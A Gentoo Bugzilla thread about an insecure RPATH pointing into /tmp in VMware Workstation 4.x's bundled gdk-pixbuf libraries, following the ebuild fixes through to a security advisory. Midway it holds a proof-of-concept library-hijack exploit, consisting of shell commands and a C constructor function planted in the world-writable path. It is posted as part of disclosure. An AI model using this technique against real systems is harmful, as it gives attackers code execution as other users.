Bugzilla Bug 81344

$ chrpath --list
/opt/vmware/lib/lib/libgdk_pixbuf.so.2/libpixbufloader-xpm.so.1.0.0 
/opt/vmware/lib/lib/libgdk_pixbuf.so.2/libpixbufloader-xpm.so.1.0.0:
RPATH=/tmp/rrdharan/out/lib

vmware-workstation provides it's own libraries to reduce runtime dependencies,
should a user not have libgdk_pixbuf installed vmware will use it's own
version, which includes an rpath in an world writable directory
(/tmp/rrdharan/out/lib, presumably where a vmware employee compiled it).

The rpath should be removed for security reasons, as the vmware-workstation
ebuild does not depend on libgdk_pixbuf if a user doesn't have them installed,
a malicious user could create libraries there and get the vmware user to
execute arbritrary code, (see bug 75181, comment #6 for an example).


Reproducible: Always
Steps to Reproduce:
1.
2.
3.

So... to simplify all the rpath stuff, vmware-workstation should just RDEPEND
on gdk-pixbuf, and we should remove the vmware-provided library via the ebuild,
correct?

Chris: sure, that would solve it :)

Also, which vmware versions does this affect?  Is this still a problem with the
vmware 5 betas/rc1?  If so, have you reported it upstream, so that they don't
make the same mistake in vmware 5 final?

Chris: i've just checked 5.0_rc1, it's not affected..so it's only the 4.x
versions :)

If this was only present in the libgdk_pixbuf stuff and not any of the other
libraries, then it is resolved for vmware-workstation 3.x and 4.5

Nice, so I've just emerged vmware-workstation-4.5.2.8848-r3, upgrading from
vmware-workstation-4.5.2.8848-r2, and vmware doesn't work anymore.

I have an amd64.

dan@asgard:~> vmware
/opt/vmware/lib/bin/vmware: error while loading shared libraries:
libgdk_pixbuf.so.2: cannot open shared objectfile: No such file or directory

dan@asgard:~> locate libgdk_pixbuf.so.2
/usr/lib/libgdk_pixbuf.so.2
/usr/lib/libgdk_pixbuf.so.2.0.0

so, if i try to understand what's happening, i have libgdk_pixbuf for 64 bits.
vmware needs libgdk_pixbuf 32 bits, it comes with them "to reduce runtime
dependencies", but you "remove[d] the vmware-provided library via the ebuild"
to fix a security risk, and vmware cannot run anymore as it has no access to
the libraries.

because vmware is now RDEPEND on gdk-pixbuf you thought it's safe to delete the
vmare libs, but my gdk-pixbuf installation is not usable by vmware, since it's
on 64 bits.

as a quick fix, you should delete the vmware libs only on x86, not on amd64.
also, RDEPEND should be only for x86, as for amd64 it doesn't matter.

best wishes, Dan Laba.

[ebuild  NS   ] sys-libs/db-1.85-r2  14 kB
[ebuild  N    ] media-sound/esound-0.2.34  +alsa -ipv6 +tcpd 310 kB
[ebuild  N    ] gnome-base/orbit-0.5.17  1,040 kB
[ebuild  N    ] gnome-base/gnome-libs-1.4.2  -doc -kde -nls 2,807 kB
[ebuild  N    ] media-libs/gdk-pixbuf-0.22.0-r3  -doc +mmx 388 kB
[ebuild     U ] app-emulation/vmware-workstation-4.5.2.8848-r3 [4.5.2.8848-r2] 257 kB

gdk-pixbuf? I don't need it!
My vmwarek-workstation-4.5.2.8848-r2 worked very good without it, :(.

*** Bug 81462 has been marked as a duplicate of this bug. ***

Fine... I'll just package.mask vmware-workstation until a proper solution is
reached.

To Severin: you don't need it as you have the "old" version with own
gdk-pixbuf.

To Chris: as there is only one vmware-workstation-4.x ebuild when you mask it
then there will be none left. IMHO not that good solution. Maybe leave
gdk-pixbuf for amd64 and print a warning about this bug here...

I will be testing a fix for this tonight when I get home (and access to my
amd64) and will be unmasking the package once I have fixed it.

Alright...

I stripped the rpath locally and made a tarball of the new libraries.  There is a new -r4 ebuild for vmware-workstation 4.5 that pulls in these files and removes the ones shipped with vmware.  This should work on both amd64 and x86.  I have also removed the package.mask that had been added for vmware-workstation.  This should now be resoved from the ebuild standpoint.

The -r4 version improved a little bit, as now we can see the vmware window for
about 1/4 of a second ... but it seems that there still is a problem with
gdk-pixbux, next is what I get when I launch vmware :

** WARNING **: Unable to load module: libpixbufloader-xpm.so:
libpixbufloader-xpm.so: Ne peut ouvrir le fichier d'objet partag

The -r4 version improved a little bit, as now we can see the vmware window for
about 1/4 of a second ... but it seems that there still is a problem with
gdk-pixbux, next is what I get when I launch vmware :

** WARNING **: Unable to load module: libpixbufloader-xpm.so:
libpixbufloader-xpm.so: Ne peut ouvrir le fichier d'objet partagé: Aucun
fichier ou répertoire de ce type
** WARNING **: Can't find gdk-pixbuf module for parsing inline XPM data
** CRITICAL **: file gdk-pixbuf.c: line 331 (gdk_pixbuf_get_width): assertion
`pixbuf != NULL' failed.
** CRITICAL **: file gdk-pixbuf.c: line 347 (gdk_pixbuf_get_height): assertion
`pixbuf != NULL' failed.
** CRITICAL **: file gdk-pixbuf-render.c: line 349
(gdk_pixbuf_render_pixmap_and_mask): assertion `pixbuf != NULL' failed.
** CRITICAL **: file gdk-pixbuf.c: line 299 (gdk_pixbuf_get_bits_per_sample):
assertion `pixbuf != NULL' failed.
** CRITICAL **: file gdk-pixbuf.c: line 283 (gdk_pixbuf_get_has_alpha):
assertion `pixbuf != NULL' failed.
** CRITICAL **: file gdk-pixbuf.c: line 251 (gdk_pixbuf_get_colorspace):
assertion `pixbuf != NULL' failed.
** CRITICAL **: file gdk-pixbuf.c: line 170 (gdk_pixbuf_new): assertion
`bits_per_sample == 8' failed.
** CRITICAL **: file gdk-pixbuf-util.c: line 114 (gdk_pixbuf_copy_area):
assertion `src_pixbuf != NULL' failed.

Strange... it worked perfectly fine for me... the only difference in the
libraries is the rpath has been removed.  Otherwise, they are identical to the
vmware-provided ones.

There was a typo, I corrected it (hope that's okay), after that it works
perfectly here, Thanks Chris :)

I've reported this upstream, as an example of exploitation (for future
reference):

Make sure you havnt got gdk-pixbuf installed.

$ mkdir -p /tmp/rrdharan/out/lib/gdk-pixbuf/loaders/
$ gcc -shared rpath.c -o
/tmp/rrdharan/out/lib/gdk-pixbuf/loaders/libpixbufloader-xpm.so
$ vmware
exploit code now in control!

** WARNING **: gdk-pixbuf XPM module lacks XPM data capability

where rpath.c contains:

#include <stdio.h>

void __attribute__ ((constructor)) rpath_exploit (void);

void rpath_exploit (void)
{
        fprintf (stderr, "exploit code now in control!\n");
        /* insert evil code here */
}

as you can see /tmp is a world writable directory where anyone can drop code,
which would be executed on running vmware.

After doing an unmerge of gdk_pixbuf, unmerge vmware, emerge vmware I was still
having the same problem.

Here is what I've done to make it work :

edit the ebuild, and comment the following lines :

rm -rf ${Ddir}/lib/lib/libgdk_pixbuf.so.2/libpixbufloader-{png,xpm}.so.1.0.0

so the exploit is back in, but it's working ... 
I can do more test if you want me to, now that I know how to get it back online
!

oopss !
I meant 

edit the ebuild, and UNcomment the following lines :

sorry

Hmm... Bertrand's problem tend to prove that the fix is buggy... Anyone else
reproducing the problem ?

Try the -r5 ebuild, as it uses a different method (changing the rpath to a
non-existent, non-writeable directory).  Blame taviso if it doesn't work... ;]

I think Bertrand was seeing the typo I corrected

Chris: -r5 works fine here, and prevents the rpath and search path vulnerabilities :)

No response form upstream they say here http://www.vmware.com/support/using/security_response.html they will create a "knowledge base article" as soon as they are informed (email was sent on the 9th), but I can't see one.

It's working great now !
Thanks for everything

REady for GLSA

GLSA 200502-18, good work Tavis !

This was fixed in he 3.x branch with vmware-workstation-3.2.1.2242-r4, which
isn't listed in the GLSA, causing a false positive in ferringb's
vulnerabilities script.

updated GLSA in cvs